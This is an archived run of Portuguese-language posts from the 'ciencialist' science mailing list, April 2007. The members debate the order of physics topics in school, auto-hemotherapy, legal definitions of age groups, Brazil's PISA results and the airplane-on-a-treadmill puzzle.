Sou propenso a dizer que a 'ordem dos temas' no ensino da física poderia ser um tanto alterada, mas tenho muito 'medo' de propor isso, pois a ordem padrão foi pensada por gente bem melhor que eu. Já fiz algumas menções a isso, e uma delas é colocar a óptica geométrica no primeiro ano, desde que o 'curso teórico' fosse acompanhado paripasso com a experimentação (que em óptica geométrica é tremendamente simples, requer uma só prancheta para fazer 63 experimentos --- que cobre até parte das cores, filtros etc.). Ainda no primeiro ano colocaria as primeira noções de mecânica (força, deformações, dinamômetros, soma geométrica de forças (prá que falar de vetor?), equilíbrio intuitivo, etc.).
+++++++++++++++

aquele abraço,


===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Carlos Antonio" <profjc2003@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 24 de abril de 2007 23:28
Assunto: [ciencialist] Arca de Noé - era Re: Fw: Física


Léo, grande insight você teve!

Se Noé levou os bichos em "casais", então:

- já havia união estável para bichos gays?
- como ele sabia que havia apenas um casal de bactérias (???) de cada
tipo?
- como se distingue o macho e a fêmea entre vírus?
- o que aconteceu com os casais de bichos cuja vida não dura nem uma
semana?

Nossa, a ciência é realmente burra, nunca vi resposta a nenhuma dessas
perguntas nos livros de ciência (nem em outros, he he).

Mas para que o Brudna não me coloque em moderação eu completo a
mensagem com uma pergunta para me salvar do mármore do inférno:
mudando o currículo da primeira séria para "Óptica" (e mais alguma
coisa, talvez) e deixando o início da mecânica para outra série, não
criaríamos problemas quando um aluno fosse transferido de uma escola
para outra onde o currículo não é o mesmo?

Abraços,
JC





SUBJECT: Re: [ciencialist] Re: Auto-Hemoterapia
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/04/2007 10:59

Isto sim é picaretagem....Minha crítica é sobre a
afirmação de que tal técnica não sirva pra nada donde
tiro a conclusão que a posição dos CRM´s é totalmente
nefasta.
O fato da técnica ser barata e fácil de ser efetuada é
um dos grandes causadores da popularização da mesma.
Além do mais, some os casos de sucesso da técnica que
chegaram aos ouvidos dos outros mais o fato da maioria
da população desconfiar dos que estão "em cima".
Ainda coloque nessa soma a posição de desprezo sem uma
apuração mais detalhada por parte dos conselhos
regionais. Tudo isso abre brechas para os exploradores
da boa fé alheia(do jeito que a coisa anda a
auto-hemoterapia já é quase uma religião :p ), algo
que poderia ser evitado se os CRM´s permitissem a
terapia para os casos em que há comprovação
científica.

Amplexos meus.

--- Marcelo Cortimiglia <cortimiglia@gmail.com>
escreveu:

> Prezados,
>
> do ClicRBS:
>
http://www.clicrbs.com.br/clicnoticias/jsp/default.jsp?tab=00002&newsID=a1484039.htm&subTab=00026&uf=1&local=1&l=&template=2503.dwt&section=Not%EDcias
>
> Abracos,
>
> Marcelo Cortimiglia
>
> Enfermeiras cobram R$ 5 por promessa de cura da Aids
> no RS
> Vigilância Sanitária alerta que eficácia da
> hemoterapia não está comprovada
>
> Enfermeiras do Hospital Nossa Senhora da Piedade, em
> Nova Palma, região
> central do Rio Grande do Sul, estão oferecendo, por
> R$ 5, a promessa de cura
> de doenças como Aids e câncer através da
> hemoterapia. A terapia é
> considerada simples e barata e vem se tornando
> popular em várias regiões do
> país.
>
> As aplicações da hemoterapia ocorrem da seguinte
> forma: o sangue do paciente
> é retirado e em seguida reinjetado no músculo do
> braço ou nas nádegas. O
> processo é feito uma vez por semana e o atendimento
> é residencial.
>
> No último dia 13, a Associação Nacional de
> Vigilância Sanitária divulgou
> nota esclarecendo que não existem evidências
> científicas que comprovem a
> eficácia e a segurança da auto-hemoterapia. O médico
> e professor em
> Hematologia da PUCRS, Mario Sérgio Fernandes, vê o
> caso com muita
> preocupação. Segundo ele, os pacientes que trocam o
> tratamento convencional
> pela hemoterapia podem até perder a chance de cura
> em determinadas doenças.
>
> O Conselho Regional de Enfermagem do Rio Grande do
> Sul prometeu investigar o
> caso.
> FELIPE DAROIT/RÁDIO GAÚCHA
>
> Em 24/04/07, Chicao Valadares
> <chicaovaladares@yahoo.com.br> escreveu:
> >
> > È impressão minha ou temos um exemplo aqui de
> > "fundamentalismo cético" ou melhor dizendo
> > "fundamentalismo médico" ??
> >
> > Se a técnica tem respaldo científico por que há
> quem
> > chame de "picaretagem"??
> >
> > Parece que Lair Ribeiro estava certo ao dizer que
> a
> > maioria dos médicos não se mantém informados e só
> > sabem das novidades quando os representantes dos
> > laboratórios chegam em suas clínicas oferecendo
> seus
> > produtos. Talvez não preci$em de$$e tipo de coi$a
> :-).
> >
> > --- rmtakata <roberto.takata@bol.com.br
> <roberto.takata%40bol.com.br>>
> > escreveu:
> >
> > > --- Em ciencialist@yahoogrupos.com.br
> <ciencialist%40yahoogrupos.com.br>,
> > Chicao
> > > Valadares
> > > > Takata eu me lembro que vc já mandou algumas
> > > > referencias de artigo pra lista...
> > > > Poderias mandar novamente??
> > >
> > >
> >
>
http://br.groups.yahoo.com/group/ciencialist/message/59606
> > >
> > > > Outra coisa: È verdade que não há comprovação
> > > > científica da eficácia da técnica??
> > >
> > > Pra câncer, não.
> > >
> > > []s,
> > >
> > > Roberto Takata
> > >
> > >
> >
> > "O Binômio de Newton é tão belo como a Vênus de
> Milo.
> > O que há é pouca gente para dar por isso... "
> > Fernando Pessoa - Poesias de Alvaro Campos
> >
> >
>
__________________________________________________________
> > As informações existentes nessa mensagem e no(s)
> arquivo(s) anexado(s)
> > são
> > para uso restrito, sendo seu sigilo protegido por
> lei. Caso não seja
> > destinatário, saiba que leitura, divulgação ou
> cópia são proibidas.
> > Favor
> > apagar as informações e notificar o remetente. O
> uso impróprio será
> > tratado
> > conforme as normas da empresa e a legislação em
> vigor. Agradecemos sua
> > colaboração.
> >
> > The information mentioned in this message and in
> the archives attached
> > are
> > of restricted use, and its privacy is protected by
> law. If you are not
> > the
> > addressee, be aware that reading, disclosure or
> copy are forbidden.
> > Please
> > delete this information and notify the sender.
> Inappropriate use will
> > be
> > tracted according to company's rules and valid
> laws. Thank you for your
> > cooperation.
> >
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> >
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> [As partes desta mensagem que não continham texto
> foram removidas]
>
>


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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para uso restrito, sendo seu sigilo protegido por lei. Caso não seja
destinatário, saiba que leitura, divulgação ou cópia são proibidas.
Favor
apagar as informações e notificar o remetente. O uso impróprio será
tratado
conforme as normas da empresa e a legislação em vigor. Agradecemos sua
colaboração.


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Please
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SUBJECT: O que ensinar nas escolas - (era Arca de Noé - era Re: Fw: Física)
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/04/2007 13:02

Olá pessoal

Permitam-me dar uns "pitacos" nessa questão da grade curricular e do
que ensinar nas escolas. Não sou professor, pelo menos não
formalmente, mas sempre fico um tanto ressabiado quando escuto que a
"escola ensina muita bobagem e coisas sem necessidade, como física ou
logarítimos".

É recorrente que se critique o conteúdo, afirmando que "não serve para
nada" ou que "eu nunca vou usar isso, para que ter de decorar fórmulas
de química ou entender equações de segundo grau". Ou mais direcionado
como "vou ser advogado, para que estudar física e matemática".

Nossa mente, nosso cérebro, como qualquer órgão humano, e qualquer
processo metabólico, se fortalece com o uso e definha com o desuso.
Aprendemos para permitir que o cérebro se fortaleça, e parar de
aprender o faz definhar.

Todas as pesquisas recentes demonstram que manter a atividade
intelectual, até mesmo com palavras cruzadas, diminui ou mesmo impede
diversos processos de degeneração cerebral, até Alzheimer.

Além disso, uma educação básica formal permite um melhor exercício de
cidadania, uma base mais sólida para o pensamento crítico (sempre
penso que se a população compreendesse melhor a matemática estatística
e as probabilidades, seria menos vulnerável a charlatões de todos os
tipos), e ainda permite uma maior auto-estima pessoal.

Entender física, aprender matemática, química, biologia, história,
etc, a base de todo conhecimento moderno que sustenta nossa
civilização, não é um esforço "inútil", nem são dispensáveis. No
mínimo, ele permite fortalecer a mente de forma que esta possa, no
futuro, aprender outras coisas mais úteis para a vida diária.

O esforço para aprender equações de segundo e terceiro grau, para
aprender e entender logarítimos, será sempre útil, afiando a mente
para desafios futuros, uma espécie de "musculação" cerebral. Da mesma
forma como um jogador de futebol exercita seus braços, e um jogador de
tênis exercita seu braço esquerdo, precisamos de cada capacidade
cerebral que possamos desenvolver.

É claro que o currículo escolar pode, e deve, ser ajustado,
atualizado, revisto, etc. O que era importante ontem pode não ser
hoje, e como não podemos ensinar TUDO que o conhecimento moderno
acumulou (acho que a última época em que isso foi possível foi no
tempo de Leonardo Da Vince), algo deve ser escolhido.

Mas não para facilitar a vida do estudante ou para excluir coisas
"inúteis". Não há algo como informação ou "cultura inútil", eu penso.
Toda informação é, ou pode ser, útil, e não sabemos quando isso poderá
acontecer.

Portanto, não importa que um adulto jamais se lembre de como resolver
uma equação de segundo grau aprendida no colegial, importa que ao ter
feito o esforço de aprender, na época, seu cérebro, em um período de
formação importante, adquiriu mais uma habilidade, se preparou para
mais uma função cognitiva, que permitirá uma maior capacidade
intelectual no futuro. Mesmo que esta nada tenha a ver com a equação
propriamente dita.

Um abraço.

Homero





SUBJECT: Re: ABSTINÊNCIA SEXUAL
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/04/2007 14:49

--- Em ciencialist@yahoogrupos.com.br, "J.Victor" <j.victor.neto@...>
> 1) quando se pode considerar alguém com uma tal SEGUNDA IDADE?
> 2) e com TERCEIRA IDADE? (Infelizmente parece que não exista uma
> QUARTA IDADE. Morre-se antes)
> Posso chamar alguém de IDOSO, a partir de de que idade?

Depende do contexto. Legalmente há definições de criança, adolescente,
maior de idade (criminal, civil) e idoso. Pelas leis brasileiras:

Criança: pessoa até doze anos de idade incompletos. (LEI 8.069/1990 -
art. 2o)
Idoso: pessoa com idade igual ou superior a 60 (sessenta) anos. (LEI
10.741/2003 - art. 1o)

A maioridade civil é atingida com 18 anos (salvo alguns casos
específicos), assim o adolescente é a pessoa entre 12 e 18 anos e o
adulto não-idoso a pessoa entre 18 e 60 anos. (A definição exata de
criança e idoso varia de acordo com a lei específica.)

Do ponto de vista biológico, existem o indivíduo imaturo (indivíduo q
ainda não é capaz de se reproduzir), o maduro (indivíduo capaz de se
reproduzir) e, eventualmente, o senil (indivíduo com sua capacidade
reprodutiva diminuída pela idade e em processo de degenerescência
biológica).

Entre o sistema legal e o biológico há a construção cultural (embora o
sistema legal tb seja uma construção cultural). Aí entram as tais
primeira, segunda e terceira idades.

Dentro da tradição médica há outras subdivisões q tb se relacionam com
as construções culturais:
- recém-nascido ou neonato: até um mês desde o nascimento;
- bebê: até ser capaz de caminhar ou até um ano;
- criança: até o início da puberdade;
- adolescente: fase de transição da infância à maturidade;
- adulto jovem:
- adulto idoso.

[]s,

Roberto Takata



SUBJECT: Ensino básico, silenciosa tragédia nacional
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <Acropolis_@yahoogrupos.com.br>, "Reflita Brasil" <reflitabrasil@grupos.com.br>, Grupo de Debates Políticos Brasileiro <brasil-politica@grupos.com.br>, <ciencialist@yahoogrupos.com.br>, <Conversa_de_Botequim@yahoogrupos.com.br>, <redeliberal@yahoogrupos.com.br>, <politicab@yahoogrupos.com.br>
DATE: 25/04/2007 18:08

Grupos.com.br
TRANSCREVO DO ESPAÇO ABERTO


Ensino básico, silenciosa tragédia nacional
Sebastião de Amorim
Nos anos 40, Jacomo Stávale, autor de livros de Matemática para o curso ginasial, era um nome conhecido no ensino básico brasileiro. Recentemente, explorando uma estante de livros antigos no sótão na velha casa da minha família em Jaraguá, no interior goiano, deparei com um pequeno tesouro: uma surrada edição de 1946 de seu Elementos de Matemática para a quarta série ginasial. Intrigado com a disfunção do ensino básico brasileiro, que põe nossos jovens, intelectualmente, entre os piores preparados do planeta, aquele volume, de aspecto austero e respeitável, forneceu pistas valiosas.

A baixa qualidade geral do ensino básico no Brasil é fato amplamente conhecido. Avaliações focadas no critério da quantidade e da qualidade do conhecimento adquirido pelo jovem, ao longo do ensino básico, revelam os contornos de uma profunda e silenciosa tragédia nacional.

Em particular, a pesquisa feita pela Organização para Cooperação e Desenvolvimento Econômico (OCDE), por meio do seu Programa para Avaliação Internacional de Estudantes (Pisa), é dramaticamente reveladora. Realizada a cada três anos, examina amostras de estudantes concluindo o fundamental, nas redes pública e privada, dos seus países membros ou associados. Na edição de 2003, focada em Matemática, a pesquisa envolveu 250 mil estudantes de 40 países. O simples fato de o Brasil ter ficado em último lugar, repetindo seu resultado de 2000, em Linguagem e Comunicação já deveria provocar uma convulsão nacional, envolvendo governos, escolas, associações de pais e mestres e grêmios estudantis. Mas não provocou, ao contrário do que ocorreu na orgulhosa Alemanha, humilhada com uma medíocre vigésima posição. E nós não apenas ficamos em último. O pior - o trágico - foi a forma contundente como conquistamos aquela posição.

O minucioso exame de Matemática do Pisa - cuidadosamente calibrado no padrão internacional - permitiu classificar cada aluno amostrado, segundo seu desempenho, em seis níveis de competência: do muito fraco e fraco ao muito bom e excelente, passando pelo razoável e bom. Ao final, com base em milhares de alunos examinados em cada país (cerca de 8 mil brasileiros) , a distribuição de seus jovens entre os diferentes níveis pôde ser estimada com precisão. A comparação dos resultados por país os ordena segundo o nível de desenvolvimento matemático de seus jovens concluindo o fundamental.

Alguns resultados da pesquisa são espantosos. Na Coréia, China (Hong Kong e Macau) e Japão, um terço das crianças conquista, ao longo do fundamental, um padrão de conhecimento, discernimento e raciocínio matemáticos que as põem na categoria superior - dos níveis muito bom e excelente - relativamente ao padrão internacional de Matemática para o fundamental. Países como Finlândia, Suíça, República Checa e Austrália, entre outros, elevam mais que 20% de suas crianças àquela categoria de elite. No outro extremo da escala estão as crianças que, por falta de talento específico para o tema ou outra circunstância especial, apresentaram desempenho muito fraco. Mesmo na Finlândia, classificada em primeiro lugar pelo critério global, elas são quase 7%.

Já no Brasil, 37% dos estudantes foram confinados à categoria inferior - dos níveis muito fraco ao fraco -, e apenas 9% alcançaram a categoria intermediária, dos níveis razoável e bom. Ninguém atingiu a categoria superior! Os restantes 54% não apresentaram desempenho suficiente para se qualificar à categoria inferior, sendo então classificados num nível especial - abaixo do muito fraco - dos analfabetos funcionais; daqueles que de Matemática, durante o fundamental, não aprenderam nada ou quase nada.

A ausência completa da categoria superior entre os 8 mil brasileiros amostrados leva à conclusão estatística de que sua taxa de ocorrência no universo de todos os estudantes brasileiros concluindo o fundamental é menor que 0,03%, portanto mais de mil vezes inferior à dos países líderes.

É fato inquestionável que nossas gerações de crianças vêm ao mundo com o mesmo perfil de talento, curiosidade e predisposição congênitos para o aprendizado que as de qualquer outro país - traço comum do gênero humano. A nossa ausência na categoria superior, ao final do fundamental, prova algo mais significativo e profundo que o fato já bem conhecido da desconcertante disfunção de nossa escola fundamental. A única interpretação defensável para este resultado é que, mesmo nas melhores escolas, grande parte do programa internacional- padrão de Matemática para o ensino fundamental não é sequer apresentada aos alunos.

De alguma forma, a nossa escola fundamental, pública e privada, não promove o acesso de nossas crianças aos níveis mais elevados de proficiência escolar, ao mesmo tempo em que condena mais da metade delas ao analfabetismo funcional. Aparentemente por uma opção pedagógica tragicamente equivocada, nas escolas fundamentais nossas crianças estão recebendo, do núcleo duro da formação escolar básica - Linguagem e Comunicação, Matemática e Conhecimentos Gerais -, uma dieta acadêmica rala que as está condenando à subnutrição intelectual crônica.

Aqui, o livro do prof. Stávale é revelador. Comparando-o com os textos correspondentes atuais, o mesmo se agiganta em abrangência, profundidade e elegância formal. Na minúscula Jaraguá dos anos 40, uma criança atravessou aquele texto no ginásio local, deixando, em cada página, as marcas de seu esforço e de suas conquistas. Mas, ao longo destes últimos 60 anos, nosso ensino básico buscou atalhos, simplificando o ensino, progressivamente abdicando de conteúdo, relevância e profundidade. Por outro lado, uma inspeção dos livros-textos atuais dos países líderes do Pisa demonstra que um aluno finlandês ou australiano estaria muito mais em casa numa sala de aula do ginásio da remota Jaraguá dos anos 40 que nas mais conceituadas escolas paulistanas de hoje.
Sebastião de Amorim, professor de Estatística da Unicamp, é diretor técnico da TecnoMetrica. E-mail: amorim@tecnometrica .com.br

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Racismo
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <noosfera_II@yahoogrupos.com.br>, <Genismo@yahoogroups.com>, GRUPO DE ESTUDOS DA HISTÓRIA DO BRASIL - GEHB <grupohistoriadobrasil@yahoo.com.br>, <ciencialist@yahoogrupos.com.br>, <Conversa_de_Botequim@yahoogrupos.com.br>, <consciencia_sustentavel@yahoogrupos.com.br>, <brasil-politica@grupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 25/04/2007 18:17

"A raça é o menos importante elemento de informação que temos sobre uma pessoa. Forçar as pessoas a terem reações baseadas na raça é perder de vista a noção mesma de humanidade."



BY Toni Morrison, Prêmio Nobel de Literatura de 1993


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: ABSTINÊNCIA SEXUAL
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/04/2007 18:23

Takata,

Grato pela aprimorada resposta.

Sds,
Victor.


----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, April 25, 2007 2:49 PM
Subject: [ciencialist] Re: ABSTINÊNCIA SEXUAL


--- Em ciencialist@yahoogrupos.com.br, "J.Victor" <j.victor.neto@...>
> 1) quando se pode considerar alguém com uma tal SEGUNDA IDADE?
> 2) e com TERCEIRA IDADE? (Infelizmente parece que não exista uma
> QUARTA IDADE. Morre-se antes)
> Posso chamar alguém de IDOSO, a partir de de que idade?

Depende do contexto. Legalmente há definições de criança, adolescente,
maior de idade (criminal, civil) e idoso. Pelas leis brasileiras:

Criança: pessoa até doze anos de idade incompletos. (LEI 8.069/1990 -
art. 2o)
Idoso: pessoa com idade igual ou superior a 60 (sessenta) anos. (LEI
10.741/2003 - art. 1o)

A maioridade civil é atingida com 18 anos (salvo alguns casos
específicos), assim o adolescente é a pessoa entre 12 e 18 anos e o
adulto não-idoso a pessoa entre 18 e 60 anos. (A definição exata de
criança e idoso varia de acordo com a lei específica.)

Do ponto de vista biológico, existem o indivíduo imaturo (indivíduo q
ainda não é capaz de se reproduzir), o maduro (indivíduo capaz de se
reproduzir) e, eventualmente, o senil (indivíduo com sua capacidade
reprodutiva diminuída pela idade e em processo de degenerescência
biológica).

Entre o sistema legal e o biológico há a construção cultural (embora o
sistema legal tb seja uma construção cultural). Aí entram as tais
primeira, segunda e terceira idades.

Dentro da tradição médica há outras subdivisões q tb se relacionam com
as construções culturais:
- recém-nascido ou neonato: até um mês desde o nascimento;
- bebê: até ser capaz de caminhar ou até um ano;
- criança: até o início da puberdade;
- adolescente: fase de transição da infância à maturidade;
- adulto jovem:
- adulto idoso.

[]s,

Roberto Takata





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: ABSTINÊNCIA SEXUAL
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/04/2007 22:07

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> Entre o sistema legal e o biológico há a construção cultural (embora o
> sistema legal tb seja uma construção cultural). Aí entram as tais
> primeira, segunda e terceira idades.

Aqui tem uma análise a respeito do uso do termo "terceira idade":
http://www.bocc.ubi.pt/pag/palacios-annamaria-velhice-palavra-proibida.pdf

A autora em nota de pé de página fala do origem do termo:
"A expressão terceira idade tem origem numa das conhecidas divisões
das chamadas Idades do Homem - infância, maturidade e velhice -,
imortalizada em um quadro desse mesmo nome, pintado pelos pintores
Ticiano (1488/1576) e Giorgioni (? /1510). Muitas outras divisões em
'idades' se celebrizaram através dos tempos, desde Hesíodo, que em uma
de suas obras - O trabalho e os dias - identifica cinco idades do
homem. Na peça de Shakespeare, As you like it, são mencionadas oito
idades do homem - o infante, o escolar, o amante, o soldado, o homem
maduro, a velhice, a senilidade e a morte -, seguindo uma linha que
vem da Idade Média que classificava as 'idades' em infância,
puerilidade, juventude, idade madura, velhice e senilidade. Este tema
foi muito popular entre os séculos VIII e XVII, estando presente em
textos, calendários e iconografias."

Nota-se q, condizendo com o uso de "terceira idade" como simples
eufemismo de "velhice", não se usa falar em "primeira" ou "segunda"
idades.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] P/ JC - Re: Balanço do avião - Conclusão QUASE final!
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/04/2007 23:41

Olá, Luiz! Não adianta tentar disfarçar o lapso. Como vc pode conferir no
final do e-mail, as frases em destaque "A resposta é óbvia. Há o avião e a
esteira. No enunciado não se fala no chão." foi escrito por mim e não por
José Carlos. E muito menos por Jesus Cristo. Será que vc também já está
"batendo biela"? Outros comentários no texto do seu e-mail a seguir, após
JR - .
.............................................
----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, April 24, 2007 8:11 AM
Subject: Re: [ciencialist] P/ JC - Re: Balanço do avião - Conclusão QUASE
final!


Olá JR,

>Luiz, acho que vc trocou JR por JC, não?<

não JR, naquela mensagem não troquei JR por JC; JC referia-se a Jesus Cristo
e, por isso comecei assim: "JC nos informa:"

>O enunciado menciona especificamente a esteira, mas vc não quer
>considerá-la como referência aos movimentos!? Vc poderia explicar por que?<

Sim, claro, posso. O enunciado fala em movimento da esteira; ora direis
ouvir estrelas, a esteira está em movimento em relação a quem? E esse
'quem', básico na questão, só poderia ser o "chão" do aeroporto onde foi
instalada a esteira. Vc acha que o enunciado precisaria explicitar que a
esteira se move em relação ao chão?
JR - Podemos aprofundar o entendimento. Em uma decolagem em pista,
consideramos que apenas o avião se move e o chão está "fixo" ou parado. No
nosso problema a esteira-chão não está parada ou "fixa". A esteira está em
movimento em relação ao avião, *assim como* o avião está em movimento em
relação à esteira. Veja a diferença entre o problema apresentado e uma
decolagem normal... E então, vc vai entender a questão.

Se você colocar o referencial na esteira chegará à brilhante conclusão que:
"o chão se move", o "aeroporto se move", o "ar se move", tudo se move em
relação à esteira, EXCETO o avião, sobre o qual não podemos dizer nada! Ele
poderá até estar 'parado' sobre a esteira (e portanto se movendo em relação
ao chão e ao ar ... e vai decolar!).
JR - Quase vc acerta! Realmente, é essa a brilhante conclusão: "fixo" é
apenas o ponto de referência. O avião está se deslocando em relação à
esteira, mas está praticamente parado em relação ao chão e ao ar. Por isso,
não decola, não tem sustentação para voar.

E, observe, que se tomar a esteira como referencial, vc não poderá falar
"que o chão se move para a 'esquerda' ou para a 'direita', pois vc não tem
referência para falar qual é o sentido de movimento da esteira, já que ela é
o referencial.
JR - O chão está "fixo", é a esteira-pista que se move para trás, na mesma
velocidade do avião à frente.

Agora vou lhe mostrar que, no ato de decolar, as rodas podem até estarem
girando em sentido oposto 'ao normal'. Basta vc pensar que a esteira move-se
(claro, em relação ao chão) no mesmo sentido do avião e com velocidade maior
que a dele. Algo assim, avião para a direita a 100 km/h e esteira para a
direita a 200 km/h; as rodas (vistas pelo mesmo observador) estarão girando
em sentido 'anti-horário' (contrário ao giro normal que o avião teria na
pista).
Ainda assim, com rodas sem derrapar, vc enxerga que a velocidade do ponto
que o pneu toca a pista é ZERO! E que, no ponto mais alto do pneu, a
velocidade é o dobro da velocidade da pista, ou seja, 400 km/h? E que o
centro da roda tem mesma velocidade que o avião, ou seja, 100km/h?
JR - Mas não atende a premissa do problema, que é: se deslocam na mesma
velocidade em sentidos contrários. Mas, é por aí! Vejo que vc está
procurando achar apoio lógico para concluir o que eu concluí. Não é
difícil... É só considerar que, *além do avião*, o "chão-esteira" se move
também ao mesmo tempo que o avião e na mesma velocidade, em sentidos
contrários.

Vc consegue enxergar uma roda cujo ponto mais baixo (o que toca na esteira)
tem velocidade NULA, seu centro tenha velocidade de 100km/h e que seu ponto
mais alto (diametralmente oposto ao ponto que toca a esteira) tenha
velocidade de 400km/h?
JR - Enxergo, sim. Para um melhor entendimento, só faltou vc especificar os
diversos referenciais utilizados para cada medida de velocidade... Eis aí a
questão! Voltando ao nosso problema original. Se considero o ponto de
referencia na esteira, ele vai se deslocar na mesma velocidade do avião, em
sentido contrário, mas - observe a importância desse *mas* - o avião estará
praticamente parado *em relação ao chão e ao ar que o circunda*... Percebeu?
A premissa do problema foi atendida, esteira e avião se deslocam na mesma
velocidade em sentidos contrários, mas o avião não voa...

Pois é, será assim mesmo no exemplo dado acima.

Observe como vc está longe do aspecto físico da questão ... e ainda insiste
que o avião não voa, apesar de todas as explicações dadas.
JR - Parece-me que vc já está mais perto do entendimento da questão.
Continue exercitando os diversos referenciais.
Tente enxergar!
aquele abraço,
Luiz Ferraz Netto [Léo]

Abraços

José Renato
.......................................

De: "José Renato" <jrma@Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 23 de abril de 2007 21:47
Assunto: Re: [ciencialist] P/ JC - Re: Balanço do avião - Conclusão final!

Luiz, acho que vc trocou JR por JC, não?
A frase que vc destacou é para contrapor uma curiosidade. O enunciado não
fala no chão, mas vc e JC o consideraram como referencial aos movimentos! O
enunciado menciona especificamente a esteira, mas vc não quer considerá-la
como referência aos movimentos!?
Vc poderia explicar por que?
[]s
José Renato

........................................
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, April 23, 2007 7:35 AM
Subject: Re: [ciencialist] P/ JC - Re: Balanço do avião - Conclusão final!


JC nos informa:

"A resposta é óbvia. Há o avião e a esteira. No enunciado não se fala no
chão."

Léo: O enunciado também não fala em 'ar'. Agora sim entendo sua idéia, ufa!
Custou!
Trata-se de um avião sobre uma esteira no vácuo sideral. Nada de chão, nada
de ar, nada de terra ou Sol ... é tudo tão simples!
Conclusão final minha: O avião não voa!
E, por favor, não vá me transformar esse avião em foguete! O enunciado não
fala isso!
Ah! Esqueça o mecanismo que puxa a esteira, é óbvio que ele 'puxa' em
relação à esteira.

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================



SUBJECT: Re: [ciencialist] Re: Fw: Física
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/04/2007 23:58

Senhores, José Carlos e Luiz!

Se vcs continuarem a discutir textos bíblicos com esse conhecimento que vcs
demonstram possuir, serão excluídos da lista ou severamente de punidos com
um curso básico de catecismo aos sábados de tarde.

O que o aluno parece desconhecer é matemática escalar, cálculo vetorial e
assessórios. Tenho dúvidas se ele já teve aula sobre isso antes ou nesse
primeiro ano do curso médio.

[]s

JR
...........................................

From: "Luiz Ferraz Netto" <leobarretos@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, April 24, 2007 8:37 AM
Subject: Re: [ciencialist] Re: Fw: Física


Olá JC, no texto abaixo.
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br
===========================


>Oi Léo,
Puxei e puxo mesmo! Adoro puxar as orelhas alheias. :)<

Não me incomodo. Os 'alertas' são sempre bem vindos! Se bem que "errar é
humano", bem longe de meu caso! :-)

>Mas, falando sério, nada contra postar as dúvidas dos consulentes
desde que se possa também postar as dúvidas do José Renato e do
Ferrari. A diferença entre eles não é assim tão grande quando se trata
de entender de "Física". :)<

Vc já imaginou eu indicando o GREF, Telecurso2000, Westhpal etc., para
ambos? Jamais faria isso! Eu indicaria as páginas da bíblia, do Alcorão etc.
para sanar quaisquer dúvidas científicas. Ainda bem que a arca de noé não
decolou! Pobre dilúvio que 'cobriu toda a terra', onde estarão essas águas
hoje? foram para o espaço? A terra subiu? Noé, pobre pescador, não poude nem
pescar durante os 40 dias e noites --- pois só levou um casal de minhocas!
Para encerrar esse parágrafo: Ambos não têm dúvidas, eles têm certezas! O
que dogmas não fazem com as pessoas!

>Recomende ao Cristian que baixe livros online de boa qualidade. Eles
podem baixar o livro do GREF e do Telecurso 2000 diretamente do meu
site em http://www.profjc.net/ (é só entrar na "Biblioteca Online",
menu da esquerda, e seguir o roteiro: biblioteca online -> alunos ->
material didático para consulta -> "escolha qual quiser"). Está tudo e
pdf.<

Essa é a resposta que darei ao consulente. Agradeço.

>Porém, sabemos que esses meninos não querem livros, querem respostas
prontas para as perguntas do professor. :)<

Não são só os alunos que não querem nada com nada! Já viu como os
'formandos' fazem seus TCCs atualmente? Tudo tercerizado ... os menos ruins
copy/past!
Semana passada tive um professor de física perguntando o que vem a ser
'garrafa de leidim'.

>Além disso, Cinemática Escalar, ninguém merece mesmo! :))) Abraços, JC<

Eu tiraria a Cinemática do 1º ano do ensino médio; deixaria a óptica
geométrica para iniciar o ano e complementaria o ano com estática e
hidrostática (noção íntuitiva' de velocidade, quando necessário). Ou algo do
gênero; cinemática é basicamente estudo das funções, coisa que o aluno
poderia aprender (funções, noções de limite, derivada) na matemática do 1º
ano.

aquele abraço,

Léo

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SUBJECT: P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/04/2007 00:24

Olá José Renato,

É evidente que essa conversa está interessantíssima. São raros os
momentos em que podemos compartilhar de uma defesa tão veemente sobre
o impossível, principalemente quando essa defesa se transforma apenas
na promessa de uma defesa, mas que não defende nada, como tem sido o
caso.

Você tem um chão, uma esteira sobre o chão e um avião sobre a esteira.
No problema está dito que o avião se move com uma dada velocidade e a
esteira tem a mesma velocidade em sentido contrário. Vamos então
